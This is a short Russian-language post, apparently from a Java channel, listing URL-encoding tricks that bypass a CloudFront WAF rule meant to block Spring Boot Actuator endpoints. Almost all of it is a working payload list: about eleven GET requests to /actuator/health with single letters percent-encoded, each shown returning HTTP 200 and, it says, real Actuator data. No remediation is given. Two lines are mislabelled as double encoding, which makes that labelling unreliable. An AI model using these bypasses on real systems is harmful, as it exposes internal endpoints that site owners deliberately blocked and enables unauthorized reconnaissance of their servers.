Обход правила WAF в CloudFront, которое блокирует доступ к Spring Boot.

Все обходы возвращают реальные данные Actuator:

GET /%61ctuator/health    → HTTP 200 (5122B) ← 'a' закодирована
GET /a%63tuator/health    → HTTP 200 (5123B) ← 'c' закодирована
GET /ac%74uator/health    → HTTP 200 (5122B) ← 't' закодирована
GET /act%75ator/health    → HTTP 200 (5123B) ← 'u' закодирована
GET /actu%61tor/health    → HTTP 200 (5123B) ← 'a' закодирована
GET /actua%74or/health    → HTTP 200 (5123B) ← 't' закодирована
GET /actuat%6For/health   → HTTP 200 (5123B) ← 'o' закодирована
GET /actuato%72/health    → HTTP 200 (5123B) ← 'r' закодирована
GET /a%63%74uator/health  → HTTP 200 (5123B) ← двойное кодирование
GET /%61ctua%74or/health  → HTTP 200 (5123B) ← двойное кодирование
GET /%61%63%74%75%61%74%6F%72/health → HTTP 200 (5122B) ← полностью закодировано

👉 Java Portal